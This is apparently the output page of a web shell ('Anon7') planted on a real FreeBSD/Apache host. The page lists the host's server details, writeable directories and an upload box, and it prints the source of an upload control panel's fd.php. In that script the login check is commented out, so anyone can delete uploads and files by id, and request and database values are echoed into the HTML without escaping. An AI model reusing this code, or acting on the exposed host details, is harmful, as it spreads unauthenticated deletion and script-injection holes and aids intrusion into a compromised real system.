KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/ezupload/cp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/ezupload/cp/fd.php
<?php

//for demo version, comment the following line and add the next lines untill "####"
//require("header.php");

error_reporting(E_ERROR  | E_PARSE);

include_once("db.class.php");
include_once("Backup_schedule.php");
//include_once("header.php");

$sysdt= date('Y-m-d',time());
$sysdtonly= date('Y-m-d-H-i-s');
/*
$form_setting=new form_setting();
$temp=$form_setting->get();
$uformprotect=$temp[0]->uformprotect;

if($uformprotect==1)
{

   if( $_SESSION['PU']== "" )
	{
        //not a user at all
		header("location: upload_login.php");
		exit;
	}

}
else
{

  if($_SESSION["U"] == "" )
  {
	header("location: login.php");
     exit;
   }

}

*/
//Allow no cache to the browser//
if (!headers_sent())
{
    header( "Cache-Control: no-cache, must-revalidate" );
    header( "Pragma: no-cache" );
}

#############################################################

$upload_id=$_POST["up_id"];
if ( $upload_id=="" ) {$upload_id=$_GET["uid"]; }
$file_id=$_GET["flid"];

$submit=$_POST["submit"];

$title=$_POST["title"];
$content=$_POST["content"];

$page = $_GET["page"];
$query = $_GET["query"];

$uploads=new uploads();
if($submit != "" )
{	

	

	if( $submit == "Send Message" )
	{	
		
	}
	else
	{		
		$uploads->delete_upload( $upload_id );	
		if (!headers_sent()) 
		{		
			header("location: fm.php");				
			exit;			
		} 
		else 
		{
			echo "Error while redirecting, for now please click this <a " .
			"href=\"fm.php\">link</a> instead\n";
			exit;
		}
	}

}
elseif($file_id != "" )
{
	$uploads->delete_file( $file_id );	
}

?>
<HTML>
<HEAD>
<TITLE>Control Panel</TITLE>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
<LINK href="f_files/global.css" type=text/css rel=stylesheet>
<script language="javascript" type="text/javascript" src="js/main.js"></script>
</HEAD>

<BODY >
<div align="center">
	<table width="100" align="center" cellpadding="0" cellspacing="0" class="main_table" id="table1">
  <tr>
			<td>
<TABLE height="405" cellSpacing=0 cellPadding=0 width="770" id="table2" bgcolor="#FFFFFF">
<form action="fd.php" method=post>
<TR>
   <TD vAlign=top height=150 width="341">
		<img border="0" src="f_files/header_home.jpg">
    </TD>
</TR>

<TR>
	<TD width="744" height=13 bgcolor="#C1D1FF" class="normal_td">
	
    </TD>
</TR>
  <TR>
	<tr>
    <TD height=259 bgcolor="#FFFFFF">
            <div align="center">
				<table border="0" cellpadding="0" cellspacing="0" width="748" id="table3">
					<tr>
						<td width="748"></td>
					</tr>
					<tr>
						<td valign="top"><br>
						<table width="511" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#8FABFF" class="main_table" id="table4">
						  <tr>
						    <td colspan="4" valign="middle" bgcolor="#C1D1FF" class="t_header"><div class="div_1">File Manager</div></td>
						  </tr>
						  <tr>
						    <td align="center" bgcolor="#EAEFFF" class="t_sub_header">						      File Name</td>
							      <td align="center" bgcolor="#EAEFFF" class="t_sub_header">							        Size</td>
							      <td align="center" bgcolor="#EAEFFF" class="t_sub_header">							        File Type</td>
							      <td align="center" bgcolor="#EAEFFF" class="t_sub_header">							        Action</td>
					      </tr>
						  <?php
								$browser=new browser();					
								$temp=$browser->get_files($upload_id);					
								for( $a=0; $a < count($temp) ; $a++ )
								{
									$id=$temp[$a]->id;
									$name=$temp[$a]->name;
									$value=$temp[$a]->value;
									$path=$temp[$a]->path;
									$size=$temp[$a]->size;
									$desc=$temp[$a]->desc;
									$dt=$temp[$a]->dt;

								?>
						  <tr onMouseOver="tplTrOver(this);" onMouseOut="tplTrOut(this)">	
						    <td width="159"  class="td_1" onClick="window.location.href='<?php echo $path ."/". $value ; ?>'"><div class="div_1"><B><A href="<?php echo $path ."/". $value ; ?>"><?php echo $value ; ?></A></B></div></td>
							    <td width="67" class="td_2"><div class="div_1"><?php echo ($size/1000) . " KB"; ?></div></td>
							    <td width="199" class="td_1"><div class="div_1"><?php echo $desc ; ?></div></td>
							
							    <td width="76" align="center" bgcolor="#EAEFFF" class="td_2"><div class="div_1"><A href="fd.php?<?php echo "uid=$upload_id&flid=$id" ; ?>" >Delete</A></div></td>
					      </tr>
						  <?php 
								}
								?>								
					      </table>
					    <br></td></tr>
					
					<tr>
						<td height="120">
						
						
						<div align="center">
							<table width="310" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#8FABFF" class="main_table" id="table5">
								<tr>
									<td colspan="4" valign="middle" bgcolor="#C1D1FF" class="t_header">Upload Details</td>
								</tr>
								<tr onMouseOver="tplTrOver(this)" onMouseOut="tplTrOut(this)">
									<td colspan="2" align="left" bgcolor="#EAEFFF" class="td_1"><div class="div_1">Uploaded On</div></td>
									<?php
										$browser=new browser();
										$temp=$browser->get_file_info($upload_id);	
										$dt = $temp[0]->dt;
									?>
									<td width="174" colspan="2" align="center" bgcolor="#EAEFFF" class="td_2"><div class="div_1"><?php echo $dt ; ?></div></td>
								</tr>								

								<?php
								
									
								for( $a=0; $a < count($temp) ; $a++ )
								{
									$upload_id=$temp[$a]->upload_id;
									$name=$temp[$a]->name;
									$value=$temp[$a]->value;
								?>					
								<tr onMouseOver="tplTrOver(this)" onMouseOut="tplTrOut(this)">
									<td colspan="2" align="left" bgcolor="#EAEFFF" class="td_1"><div class="div_1"><?php echo $name ; ?></div></td>
									<td width="174" colspan="2" align="center" bgcolor="#EAEFFF" class="td_2"><div class="div_1"><?php echo $value ; ?></div></td>
								</tr>
								<?php 
								}
								?>
						  </table>						
					        <br>
					        <p align="center">
					          <input type=hidden value="<?php echo $upload_id ; ?>" name=up_id >
					          <input name="submit" type="submit" class="button" value="Delete Upload" >
			          </td>
					</tr>
					
					<tr>
						<td>
						<p align="center"><a href="fm.php?page=<?php echo $page."&query=$query";?>"><br>
					    Back </a></p>					
					  �</td>
					</tr>
					</form>
				</table>
			</div>
	</TD>
    </tr>

	<?php include("footer.php"); ?>
			</TABLE>
</td>
		</tr>
	</table>
</div>
<p align="center">&nbsp;</p>
 </BODY></HTML>

Anon7 - 2021